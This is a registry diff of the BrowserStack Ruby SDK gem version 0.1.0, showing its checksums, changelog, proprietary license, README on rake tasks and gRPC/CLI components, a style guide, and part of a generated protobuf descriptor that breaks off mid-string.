browserstack-ruby-sdk 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +7 -0
- data/LICENSE.txt +52 -0
- data/README.md +115 -0
- data/STYLE_GUIDE.md +43 -0
- data/exe/browserstack-sdk +8 -0
- data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
- data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
- data/lib/browserstack/browserstack_logger_factory.rb +123 -0
- data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
- data/lib/browserstack/child_initializer.rb +123 -0
- data/lib/browserstack/cli/browserstack_cli.rb +123 -0
- data/lib/browserstack/cli/grpc_client.rb +123 -0
- data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
- data/lib/browserstack/command_executor.rb +123 -0
- data/lib/browserstack/config/browserstack_config.rb +123 -0
- data/lib/browserstack/constants.rb +123 -0
- data/lib/browserstack/eventbus/event.rb +123 -0
- data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
- data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
- data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
- data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
- data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
- data/lib/browserstack/instance/test_framework_instance.rb +123 -0
- data/lib/browserstack/instance/tracked_context.rb +123 -0
- data/lib/browserstack/instance/tracked_instance.rb +123 -0
- data/lib/browserstack/modules/base_module.rb +123 -0
- data/lib/browserstack/modules/web_driver_module.rb +123 -0
- data/lib/browserstack/monitor/performance.rb +123 -0
- data/lib/browserstack/monitor/performance_annotator.rb +123 -0
- data/lib/browserstack/monitor/performance_constants.rb +123 -0
- data/lib/browserstack/monitor/performance_test.rb +123 -0
- data/lib/browserstack/monitor/sdk_integration.rb +123 -0
- data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
- data/lib/browserstack/patches/cucumber_patches.rb +123 -0
- data/lib/browserstack/patches/selenium_patches.rb +123 -0
- data/lib/browserstack/runner.rb +123 -0
- data/lib/browserstack/utils/api_utility_methods.rb +123 -0
- data/lib/browserstack/utils/framework_detector.rb +123 -0
- data/lib/browserstack/utils/http_calls.rb +123 -0
- data/lib/browserstack/utils/util_method.rb +123 -0
- data/lib/browserstack/version.rb +123 -0
- data/lib/browserstack_sdk.rb +123 -0
- data/proto/browserstack/sdk/v1/sdk.proto +487 -0
- data/sample/browserstack_sample.yml +298 -0
- metadata +218 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: f35952d4c81fd968f7c7b09c01cf63dcf3e3d50a3c6156c4193fc009d2167e7c
|
|
4
|
+
data.tar.gz: 5e2cd658981ae0bf162a75633ed04bbc1d897c0a1110c3f4f368bee8aec9ab3a
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: da3687425a7d0a5dc1ef9ca079cfa1ebc07187a71d4ce7b8c43d1eff2781963665542ba10d6efaa925d0b7604158bec0f0b39713884e7e10d7dd87593c53fe8c
|
|
7
|
+
data.tar.gz: d5576627e36b2aeff81c8e6ffeb4f6d9e4bf95753530750648210cf257d2eb16bd16a909e6db10b42103411f7204e9683d77ef975367a88084d0eff26e78e86b
|
data/CHANGELOG.md
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
## Release Notes
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
|
|
5
|
+
#### Maintaining a changelog for browserstack SDK releases.
|
|
6
|
+
### Version 0.1.0 (2025-12-30)
|
|
7
|
+
- [PR](https://github.com/browserstack/browserstack-python-sdk/pull/673) [Cucumber-Selenium] Support for App-automate and Automate for cucumber-selenium framework.
|
data/LICENSE.txt
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
BrowserStack Software License Agreement
|
|
2
|
+
|
|
3
|
+
The “Licensed Software” under this BrowserStack Software License Agreement (“Agreement”) shall be used by
|
|
4
|
+
you only if You agree to the following terms and conditions. Downloading the Licensed Software and indicating
|
|
5
|
+
your consent to the terms of this license constitutes a binding Agreement between BrowserStack and You. If
|
|
6
|
+
you do not agree with all of the terms of this Agreement, you must not use the Licensed Software and you must
|
|
7
|
+
delete all of copies of the Licensed Software from your computer, device and/or systems. These terms also apply
|
|
8
|
+
to any updates or upgrades to the Licensed Software.
|
|
9
|
+
1. License: This Licensed Software shall remain the property of BrowserStack at all times.. The Licensed
|
|
10
|
+
Software is licensed, not sold. This Agreement only gives you some rights to use the Licensed Software.
|
|
11
|
+
You may install and use any number of copies of the Licensed Software to develop and test your
|
|
12
|
+
applications and distribution of the Licensed Software is limited to within your affiliates, employees and
|
|
13
|
+
independent contractors who are not competitors of BrowserStack. .
|
|
14
|
+
2. Restrictions: You will not (and will not permit any third party) to: (a) rent, lease, provide access to or
|
|
15
|
+
sublicense the Licensed Software to a third party; (b) use the Licensed Software to provide, or incorporate
|
|
16
|
+
the Licensed Software into, any product or service provided to a third party; (c) copy or modify the
|
|
17
|
+
Licensed Software or any Documentation, or create any derivative work from any of the foregoing; (d)
|
|
18
|
+
remove or obscure any proprietary or other notices contained in the Licensed Software; or (e) You may
|
|
19
|
+
not reverse engineer, decompile, disassemble, modify, translate, or attempt to discover the source code of
|
|
20
|
+
the Licensed Software; (f) You may not work around any technical limitation in the Licensed Software;
|
|
21
|
+
(g) distribute, resell, or provide the Licensed Software for use, copying or modification to any competitors
|
|
22
|
+
of BrowserStack; or (h) You may use the Licensed Software along with the BrowserStack Services on the
|
|
23
|
+
BrowserStack platform only.
|
|
24
|
+
3. Usage Data: You agree and acknowledge through this Agreement that BrowserStack will collect data such
|
|
25
|
+
as, but not limited to, use logs and error messages while using the Licensed Software.
|
|
26
|
+
4. Term and Termination: This Agreement shall be for the term agreed to in the Terms or Service or Master
|
|
27
|
+
SAAS Subscription Agreement or any other Agreement entered into between the You and BrowserStack
|
|
28
|
+
for sue of BrowserStack Services and testing platform. BrowserStack can terminate this Agreement for
|
|
29
|
+
convenience by providing seven (7) days’ notice to You or may terminate upon immediate effect if You
|
|
30
|
+
commit a material breach of this Agreement.
|
|
31
|
+
5. Confidentiality: All features and codes of the Licensed Software shall remain confidential. You
|
|
32
|
+
understand that any violation or breach of this term of the Agreement may cause irreparable damages to
|
|
33
|
+
BrowserStack. Thus, nothing in this Agreement shall limit Your liability with regard to violation of this
|
|
34
|
+
Clause.
|
|
35
|
+
6. DISCLAIMER OF WARRANTY. THE LICENSED SOFTWARE IS LICENSED “AS-IS.” YOU BEAR
|
|
36
|
+
THE RISK OF USING IT. BROWSERSTACK GIVES NO EXPRESS WARRANTIES, GUARANTEES
|
|
37
|
+
OR CONDITIONS. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS,
|
|
38
|
+
BROWSERSTACK EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY,
|
|
39
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
|
|
40
|
+
7. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER
|
|
41
|
+
FROM BROWSERSTACK AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $1. YOU
|
|
42
|
+
CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS,
|
|
43
|
+
SPECIAL, INDIRECT OR INCIDENTAL DAMAGES.
|
|
44
|
+
8. Indemnity: You are required to indemnify Browserstack for breach of any obligations and terms set forth
|
|
45
|
+
under this Agreement.
|
|
46
|
+
9. Export Restrictions. You must comply with all domestic and international export laws and regulations that
|
|
47
|
+
apply to the Licensed Software, which include restrictions on destinations, end users, and end use.
|
|
48
|
+
10. ENTIRE AGREEMENT. This Agreement, and the terms for supplements, updates, Internet-based
|
|
49
|
+
services and support services that you use, are the entire Agreement for the Licensed Software and
|
|
50
|
+
support services.
|
|
51
|
+
11. APPLICABLE LAW. The laws and courts of State of California applies to interpretation of and claims
|
|
52
|
+
for breach of this Agreement.
|
data/README.md
ADDED
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
# BrowserStack Ruby SDK
|
|
2
|
+
|
|
3
|
+
A comprehensive Ruby SDK for BrowserStack that provides observability, automation capabilities, and enhanced testing features for web applications.
|
|
4
|
+
|
|
5
|
+
## Installation
|
|
6
|
+
|
|
7
|
+
Add this line to your application's Gemfile:
|
|
8
|
+
|
|
9
|
+
```ruby
|
|
10
|
+
gem 'browserstack-ruby-sdk'
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
And then execute:
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
$ bundle install
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
Or install it yourself as:
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
$ gem install browserstack-ruby-sdk
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
## Development
|
|
26
|
+
|
|
27
|
+
After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
|
28
|
+
|
|
29
|
+
### Available Rake Tasks
|
|
30
|
+
|
|
31
|
+
- `rake` - Run proto compilation, tests and linting (default)
|
|
32
|
+
- `rake proto` - Compile Protocol Buffer files
|
|
33
|
+
- `rake spec` - Run RSpec tests
|
|
34
|
+
- `rake pre_build` - Run RSpec, RuboCop linting.
|
|
35
|
+
- `rake rubocop` - Run RuboCop linting
|
|
36
|
+
- `rake coverage` - Run tests with coverage report
|
|
37
|
+
- `rake quality` - Run all quality checks (tests, linting, coverage)
|
|
38
|
+
- `rake build` - Build the gem with obfuscation (includes proto compilation)
|
|
39
|
+
- `rake clean` - Clean generated files
|
|
40
|
+
- `rake clean_proto` - Clean generated Protocol Buffer files
|
|
41
|
+
- `rake version:show` - Show current version
|
|
42
|
+
- `rake version:patch` - Bump patch version
|
|
43
|
+
- `rake version:minor` - Bump minor version
|
|
44
|
+
- `rake version:major` - Bump major version
|
|
45
|
+
|
|
46
|
+
### Protocol Buffers (gRPC)
|
|
47
|
+
|
|
48
|
+
This SDK uses Protocol Buffers for gRPC communication with BrowserStack services. The proto definitions are stored in `proto/browserstack/sdk/v1/` and are automatically compiled during the build process.
|
|
49
|
+
|
|
50
|
+
#### Proto Development Workflow
|
|
51
|
+
|
|
52
|
+
1. **Edit Proto Files**: Modify `.proto` files in `proto/browserstack/sdk/v1/`
|
|
53
|
+
2. **Compile**: Run `rake proto` to generate Ruby gRPC stubs
|
|
54
|
+
3. **Generated Files**: Ruby classes are created in `generated/browserstack/sdk/v1/`
|
|
55
|
+
4. **Build**: Run `rake build` to ensure proto compilation is included
|
|
56
|
+
|
|
57
|
+
The build process automatically compiles proto files before running tests and building the gem.
|
|
58
|
+
|
|
59
|
+
### CLI Infrastructure
|
|
60
|
+
|
|
61
|
+
The SDK includes a comprehensive CLI infrastructure for managing BrowserStack services:
|
|
62
|
+
|
|
63
|
+
#### GrpcClient (lib/browserstack/cli/grpc_client.rb)
|
|
64
|
+
- Singleton pattern for managing gRPC connections
|
|
65
|
+
- Automatic fallback to mock responses when gRPC server unavailable
|
|
66
|
+
- Support for session management (start, connect, stop)
|
|
67
|
+
- Integrated with generated Protocol Buffer stubs
|
|
68
|
+
|
|
69
|
+
#### SdkCliUtils (lib/browserstack/cli/sdk_cli_utils.rb)
|
|
70
|
+
- Binary management and download utilities
|
|
71
|
+
- Framework detection (RSpec, Cucumber, Selenium, Playwright)
|
|
72
|
+
- Version compatibility checking
|
|
73
|
+
- Development environment detection
|
|
74
|
+
|
|
75
|
+
#### BrowserstackCLI (lib/browserstack/cli/browserstack_cli.rb)
|
|
76
|
+
- Main CLI orchestration and process management
|
|
77
|
+
- Module loading (Observability, Accessibility, TestHub)
|
|
78
|
+
- Process lifecycle control and cleanup
|
|
79
|
+
- Configuration management integration
|
|
80
|
+
|
|
81
|
+
### Code Quality
|
|
82
|
+
|
|
83
|
+
This project maintains high code quality standards:
|
|
84
|
+
|
|
85
|
+
- **Testing**: RSpec for comprehensive test coverage (currently 100%)
|
|
86
|
+
- **Linting**: RuboCop with performance and RSpec extensions
|
|
87
|
+
- **Coverage**: SimpleCov for code coverage reporting
|
|
88
|
+
- **Semantic Versioning**: Automated version management
|
|
89
|
+
- **Documentation**: YARD for API documentation
|
|
90
|
+
|
|
91
|
+
### Contributing
|
|
92
|
+
|
|
93
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/browserstack/browserstack-ruby-sdk.
|
|
94
|
+
|
|
95
|
+
### Development Dependencies
|
|
96
|
+
|
|
97
|
+
- RSpec 3.12+ for testing
|
|
98
|
+
- RuboCop 1.56+ for code linting
|
|
99
|
+
- SimpleCov 0.22+ for coverage reporting
|
|
100
|
+
- YARD 0.9+ for documentation
|
|
101
|
+
- Pry for debugging
|
|
102
|
+
|
|
103
|
+
### Release Process
|
|
104
|
+
|
|
105
|
+
1. Update CHANGELOG.md with new features/fixes
|
|
106
|
+
2. Run `rake version:patch` (or minor/major as appropriate)
|
|
107
|
+
3. Run `rake prepare_release` to ensure all checks pass
|
|
108
|
+
4. Commit and push changes
|
|
109
|
+
5. Create a GitHub release with tag `v<version>`
|
|
110
|
+
6. CI/CD will automatically publish to RubyGems
|
|
111
|
+
|
|
112
|
+
## License
|
|
113
|
+
|
|
114
|
+
The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).
|
|
115
|
+
Browserstack Ruby SDK
|
data/STYLE_GUIDE.md
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
# Code Style Guide
|
|
2
|
+
|
|
3
|
+
This project uses RuboCop to maintain consistent code style and quality.
|
|
4
|
+
|
|
5
|
+
## Configuration
|
|
6
|
+
|
|
7
|
+
The project uses a minimal RuboCop configuration (`.rubocop.yml`) that:
|
|
8
|
+
|
|
9
|
+
- Targets Ruby 3.3+ syntax
|
|
10
|
+
- Disables overly strict metric cops that don't add value to a small SDK
|
|
11
|
+
- Maintains essential style consistency
|
|
12
|
+
- Avoids problematic RSpec plugin dependencies
|
|
13
|
+
|
|
14
|
+
## Running RuboCop
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Check for style violations
|
|
18
|
+
bundle exec rubocop
|
|
19
|
+
|
|
20
|
+
# Auto-fix correctable violations
|
|
21
|
+
bundle exec rubocop -a
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
## Current Status
|
|
25
|
+
|
|
26
|
+
✅ **0 offenses detected** - The codebase fully complies with our style guide.
|
|
27
|
+
|
|
28
|
+
## Key Style Rules
|
|
29
|
+
|
|
30
|
+
- Use single quotes for string literals
|
|
31
|
+
- Line length limited to 120 characters
|
|
32
|
+
- Consistent indentation and spacing
|
|
33
|
+
- Ruby 3.3+ compatibility required
|
|
34
|
+
|
|
35
|
+
## Disabled Cops
|
|
36
|
+
|
|
37
|
+
We've intentionally disabled these cops for this SDK:
|
|
38
|
+
|
|
39
|
+
- **Metrics cops** (BlockLength, MethodLength, etc.) - Small SDK doesn't benefit from strict size limits
|
|
40
|
+
- **RSpec cops** - Avoided plugin compatibility issues
|
|
41
|
+
- **Documentation cop** - Focused on functionality over extensive inline docs
|
|
42
|
+
|
|
43
|
+
This allows the team to focus on code quality that matters while avoiding style bikeshedding.
|
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
# Generated by the protocol buffer compiler. DO NOT EDIT!
|
|
3
|
+
# source: browserstack/sdk/v1/sdk.proto
|
|
4
|
+
|
|
5
|
+
require 'google/protobuf'
|
|
6
|
+
|
|
7
|
+
|
|
8
|
+
descriptor_data = "\n\x1d\x62rowserstack/sdk/v1/sdk.proto\x12\x13\x62rowserstack.sdk.v1\"\xb7\x01\n\x1e\x41utomationFrameworkInitRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x16\n\x0e\x66ramework_name\x18\x03 \x01(\t\x12\x19\n\x11\x66ramework_version\x18\x04 \x01(\t\x12\x0b\n\x03ref\x18\x05 \x01(\t\x12\x0f\n\x07hub_url\x18\x06 \x01(\t\x12\x14\n\x0c\x63\x61pabilities\x18\x07 \x01(\x0c\"j\n\x1f\x41utomationFrameworkInitResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x14\n\x0c\x63\x61pabilities\x18\x02 \x01(\x0c\x12\x14\n\x07hub_url\x18\x03 \x01(\tH\x00\x88\x01\x01\x42\n\n\x08_hub_url\"\xc0\x01\n\x1f\x41utomationFrameworkStartRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x16\n\x0e\x66ramework_name\x18\x03 \x01(\t\x12\x19\n\x11\x66ramework_version\x18\x04 \x01(\t\x12\x0b\n\x03ref\x18\x05 \x01(\t\x12\x1c\n\x14\x66ramework_session_id\x18\x06 \x01(\t\x12\x0f\n\x07hub_url\x18\x07 \x01(\t\"3\n AutomationFrameworkStartResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\"\xbf\x01\n\x1e\x41utomationFrameworkStopRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x16\n\x0e\x66ramework_name\x18\x03 \x01(\t\x12\x19\n\x11\x66ramework_version\x18\x04 \x01(\t\x12\x0b\n\x03ref\x18\x05 \x01(\t\x12\x1c\n\x14\x66ramework_session_id\x18\x06 \x01(\t\x12\x0f\n\x07hub_url\x18\x07 \x01(\t\"2\n\x1f\x41utomationFrameworkStopResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\"\x8d\x01\n\x11\x44riverInitRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\x0eplatform_index\x18\x02 \x01(\r\x12\x0b\n\x03ref\x18\x03 \x01(\t\x12\x19\n\x11user_input_params\x18\x04 \x01(\x0c\x12\x14\n\x07hub_url\x18\x05 \x01(\tH\x00\x88\x01\x01\x42\n\n\x08_hub_url\"u\n\x12\x44riverInitResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x16\n\x0e\x62in_session_id\x18\x02 \x01(\t\x12\x14\n\x0c\x63\x61pabilities\x18\x03 \x01(\x0c\x12\x14\n\x07hub_url\x18\x04 \x01(\tH\x00\x88\x01\x01\x42\n\n\x08_hub_url\"\x8b\x01\n\x06\x45nvMap\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x39\n\x07\x65ntries\x18\x02 \x03(\x0b\x32(.browserstack.sdk.v1.EnvMap.EntriesEntry\x1a.\n\x0c\x45ntriesEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"!\n\x0e\x45nvStreamProbe\x12\x0f\n\x07request\x18\x01 \x01(\x08\"`\n\x16WebDriverStreamRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x1b\n\x0eplatform_index\x18\x02 \x01(\tH\x00\x88\x01\x01\x42\x11\n\x0f_platform_index\"H\n\x10WebDriverCommand\x12\x1c\n\x14\x66ramework_session_id\x18\x01 \x01(\t\x12\x16\n\x0e\x65xecute_script\x18\x02 \x01(\t\"/\n\x15\x46indNearestHubRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\"6\n\x16\x46indNearestHubResponse\x12\x0b\n\x03url\x18\x01 \x01(\t\x12\x0f\n\x07latency\x18\x02 \x01(\r\"\xca\x04\n\x16StartBinSessionRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x14\n\x0csdk_language\x18\x02 \x01(\t\x12\x13\n\x0bsdk_version\x18\x03 \x01(\t\x12\x14\n\x0cpath_project\x18\x04 \x01(\t\x12\x13\n\x0bpath_config\x18\x05 \x01(\t\x12J\n\x08\x65nv_vars\x18\x06 \x03(\x0b\x32\x38.browserstack.sdk.v1.StartBinSessionRequest.EnvVarsEntry\x12\x10\n\x08\x63li_args\x18\x07 \x03(\t\x12\x12\n\nframeworks\x18\x08 \x03(\t\x12^\n\x12\x66ramework_versions\x18\t \x03(\x0b\x32\x42.browserstack.sdk.v1.StartBinSessionRequest.FrameworkVersionsEntry\x12\x10\n\x08language\x18\n \x01(\t\x12\x1d\n\x10language_version\x18\x0b \x01(\tH\x00\x88\x01\x01\x12\x16\n\x0etest_framework\x18\x0c \x01(\t\x12\x18\n\x0bwdio_config\x18\r \x01(\tH\x01\x88\x01\x01\x1a.\n\x0c\x45nvVarsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x1a\x38\n\x16\x46rameworkVersionsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\x42\x13\n\x11_language_versionB\x0e\n\x0c_wdio_config\"\xb9\x03\n\x17StartBinSessionResponse\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x0e\n\x06\x63onfig\x18\x02 \x01(\t\x12\x32\n\x07testhub\x18\x03 \x01(\x0b\x32\x1c.browserstack.sdk.v1.TestHubH\x00\x88\x01\x01\x12>\n\robservability\x18\x04 \x01(\x0b\x32\".browserstack.sdk.v1.ObservabilityH\x01\x88\x01\x01\x12>\n\raccessibility\x18\x05 \x01(\x0b\x32\".browserstack.sdk.v1.AccessibilityH\x02\x88\x01\x01\x12.\n\x05percy\x18\x06 \x01(\x0b\x32\x1a.browserstack.sdk.v1.PercyH\x03\x88\x01\x01\x12\x15\n\x08\x63li_args\x18\x07 \x01(\tH\x04\x88\x01\x01\x12\x1e\n\x11session_framework\x18\x08 \x01(\tH\x05\x88\x01\x01\x42\n\n\x08_testhubB\x10\n\x0e_observabilityB\x10\n\x0e_accessibilityB\x08\n\x06_percyB\x0b\n\t_cli_argsB\x14\n\x12_session_framework\"\xf7\x03\n\x19\x43onnectBinSessionResponse\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x0e\n\x06\x63onfig\x18\x02 \x01(\t\x12\x32\n\x07testhub\x18\x03 \x01(\x0b\x32\x1c.browserstack.sdk.v1.TestHubH\x00\x88\x01\x01\x12>\n\robservability\x18\x04 \x01(\x0b\x32\".browserstack.sdk.v1.ObservabilityH\x01\x88\x01\x01\x12>\n\raccessibility\x18\x05 \x01(\x0b\x32\".browserstack.sdk.v1.AccessibilityH\x02\x88\x01\x01\x12.\n\x05percy\x18\x06 \x01(\x0b\x32\x1a.browserstack.sdk.v1.PercyH\x03\x88\x01\x01\x12\x1e\n\x11session_framework\x18\x07 \x01(\tH\x04\x88\x01\x01\x12G\n\x12test_orchestration\x18\x08 \x01(\x0b\x32&.browserstack.sdk.v1.TestOrchestrationH\x05\x88\x01\x01\x42\n\n\x08_testhubB\x10\n\x0e_observabilityB\x10\n\x0e_accessibilityB\x08\n\x06_percyB\x14\n\x12_session_frameworkB\x15\n\x13_test_orchestration\"\x95\x04\n\x11TestOrchestration\x12(\n\x1brun_previously_failed_first\x18\x01 \x01(\x08H\x00\x88\x01\x01\x12M\n\x16retry_tests_on_failure\x18\x02 \x01(\x0b\x32(.browserstack.sdk.v1.RetryTestsOnFailureH\x01\x88\x01\x01\x12M\n\x16\x61\x62ort_build_on_failure\x18\x03 \x01(\x0b\x32(.browserstack.sdk.v1.AbortBuildOnFailureH\x02\x88\x01\x01\x12$\n\x17rerun_previously_failed\x18\x04 \x01(\x08H\x03\x88\x01\x01\x12#\n\x16skip_failing_and_flaky\x18\x05 \x01(\x08H\x04\x88\x01\x01\x12H\n\x13run_smart_selection\x18\x06 \x01(\x0b\x32&.browserstack.sdk.v1.RunSmartSelectionH\x05\x88\x01\x01\x42\x1e\n\x1c_run_previously_failed_firstB\x19\n\x17_retry_tests_on_failureB\x19\n\x17_abort_build_on_failureB\x1a\n\x18_rerun_previously_failedB\x19\n\x17_skip_failing_and_flakyB\x16\n\x14_run_smart_selection\"B\n\x11RunSmartSelection\x12\x0f\n\x07\x65nabled\x18\x01 \x01(\x08\x12\x0c\n\x04mode\x18\x02 \x01(\t\x12\x0e\n\x06source\x18\x03 \x03(\t\";\n\x13RetryTestsOnFailure\x12\x0f\n\x07\x65nabled\x18\x01 \x01(\x08\x12\x13\n\x0bmax_retries\x18\x02 \x01(\r\"<\n\x13\x41\x62ortBuildOnFailure\x12\x0f\n\x07\x65nabled\x18\x01 \x01(\x08\x12\x14\n\x0cmax_failures\x18\x02 \x01(\r\"\xc6\x01\n\x18TestOrchestrationRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x12\n\ntest_files\x18\x02 \x03(\t\x12#\n\x16orchestration_strategy\x18\x03 \x01(\tH\x00\x88\x01\x01\x12#\n\x16orchestration_metadata\x18\x04 \x01(\tH\x01\x88\x01\x01\x42\x19\n\x17_orchestration_strategyB\x19\n\x17_orchestration_metadata\"H\n\x19TestOrchestrationResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x1a\n\x12ordered_test_files\x18\x02 \x03(\t\"\xdb\x01\n\x15StopBinSessionRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x16\n\texit_code\x18\x02 \x01(\rH\x00\x88\x01\x01\x12\x18\n\x0b\x65xit_signal\x18\x03 \x01(\tH\x01\x88\x01\x01\x12\x18\n\x0b\x65xit_reason\x18\x04 \x01(\tH\x02\x88\x01\x01\x12\x1c\n\x0f\x63ustom_metadata\x18\x05 \x01(\tH\x03\x88\x01\x01\x42\x0c\n\n_exit_codeB\x0e\n\x0c_exit_signalB\x0e\n\x0c_exit_reasonB\x12\n\x10_custom_metadata\"\xa5\x01\n\x16StopBinSessionResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x12\n\x05\x65rror\x18\x02 \x01(\tH\x00\x88\x01\x01\x12\x1f\n\x12\x61utomate_buildlink\x18\x03 \x01(\tH\x01\x88\x01\x01\x12\x16\n\thashed_id\x18\x04 \x01(\tH\x02\x88\x01\x01\x42\x08\n\x06_errorB\x15\n\x13_automate_buildlinkB\x0c\n\n_hashed_id\"b\n\x18\x43onnectBinSessionRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x1b\n\x0eplatform_index\x18\x02 \x01(\rH\x00\x88\x01\x01\x42\x11\n\x0f_platform_index\"b\n\x19\x41IBrowserExtensionRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x14\n\x0c\x62rowser_name\x18\x02 \x01(\t\x12\x17\n\x0f\x62rowser_version\x18\x03 \x01(\t\"/\n\x1a\x41IBrowserExtensionResponse\x12\x11\n\textension\x18\x01 \x01(\t\"\x92\x01\n\x14\x41ISelfHealGetRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x1b\n\x0eplatform_index\x18\x02 \x01(\tH\x00\x88\x01\x01\x12\x1c\n\x14\x66ramework_session_id\x18\x03 \x01(\t\x12\x14\n\x0clocator_type\x18\x04 \x01(\tB\x11\n\x0f_platform_index\"\xe6\x01\n\x15\x41ISelfHealGetResponse\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12\x1c\n\x14\x66ramework_session_id\x18\x02 \x01(\t\x12\x19\n\x0clocator_type\x18\x03 \x01(\tH\x00\x88\x01\x01\x12\x1a\n\rlocator_value\x18\x04 \x01(\tH\x01\x88\x01\x01\x12\x17\n\nai_healing\x18\x05 \x01(\x08H\x02\x88\x01\x01\x12\x12\n\x05\x65rror\x18\x06 \x01(\tH\x03\x88\x01\x01\x42\x0f\n\r_locator_typeB\x10\n\x0e_locator_valueB\r\n\x0b_ai_healingB\x08\n\x06_error\"\xd1\x01\n\x15\x41ISelfHealStepRequest\x12\x16\n\x0e\x62in_session_id\x18\x01 \x01(\t\x12\x1b\n\x0eplatform_index\x18\x02 \x01(\tH\x00\x88\x01\x01\x12\x1c\n\x14\x66ramework_session_id\x18\x03 \x01(\t\x12\x12\n\nis_success\x18\x04 \x01(\x08\x12\x14\n\x0clocator_type\x18\x05 \x01(\t\x12\x15\n\rlocator_value\x18\x06 \x01(\t\x12\x11\n\ttest_name\x18\x07 \x01(\tB\x11\n\x0f_platform_index\"N\n\x16\x41ISelfHealStepResponse\x12\x1c\n\x14\x66ramework_session_id\x18\x01 \x01(\t\x12\x16\n\x0e\x65xecute_script\x18\x02 \x01(\t\"W\n\x07TestHub\x12\x0b\n\x03jwt\x18\x01 \x01(\t\x12\x17\n\x0f\x62uild_hashed_id\x18\x02 \x01(\t\x12\x16\n\x0etesthub_events\x18\x03 \x01(\x08\x12\x0e\n\x06\x65rrors\x18\x04 \x01(\x0c\"\xa7\x08\n\rAccessibility\x12\x0f\n\x07success\x18\x01 \x01(\x08\x12M\n\x07options\x18\x02 \x01(\x0b\x32\x37.browserstack.sdk.v1.Accessibility.AccessibilityOptionsH\x00\x88\x01\x01\x12\x1b\n\x0e\x65rror_trace_id\x18\x03 \x01(\tH\x01\x88\x01\x01\x12\x11\n\x04\x63ode\x18\x04 